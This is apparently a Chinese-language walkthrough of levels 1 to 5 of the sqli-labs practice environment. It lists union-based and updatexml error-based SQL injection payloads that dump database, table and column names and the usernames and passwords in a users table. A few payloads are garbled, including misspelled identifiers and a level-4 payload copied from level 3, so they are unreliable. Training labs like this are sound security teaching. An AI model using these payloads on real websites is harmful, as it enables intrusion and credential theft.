sql-lab通关
阅读原文时间:2023年09月07日阅读:1

page1-less1-22

第一关

发现是有回显的,且传入的参数是通过'1'包裹的,所以我们的payload,如下

测试列数

?id=1' order by 3 --+ //超过第一条语句的查询列数会报错,小于或等于不会报错

测试回显点

?id=-1' union select 1,2,3 --+ //union 联合查询一般来说只会回显第一条语句的结果,所以我们要让第一条语句查不到值,我们这里是用的-1确保联合查询的语句有效

爆库

?id=-1' union select 1,database(),3 --+

爆表

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

表列

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where%20 table_schema='security' and table_name='users' --+

爆数据

?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

第二关

与第一关的区别在于id参数是数字型,没有任何闭合用?id=1 (sql语句) --+可通关

第三关

与第一关的区别在于id参数是用('')闭合的,用?id=1‘) (sql语句) --+可通关

第四关

与第一关的区别在于id参数是用(" ")闭合的,用?id=1‘) (sql语句) --+可通关

第五关

发现查询结果是没有反馈的,我们可以用报错查询我们这里使用的是updatexml(可以爆出的字节数有限)

爆库

?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+

爆表

?id=1' and updatexml(1,concat(0x7e,(select distinct group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+

爆库

?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e,group_concat(columns_name),0x7e) from information_schema.conlumns where table_schema= 'security' and table_name='users'),0x7e),1)--+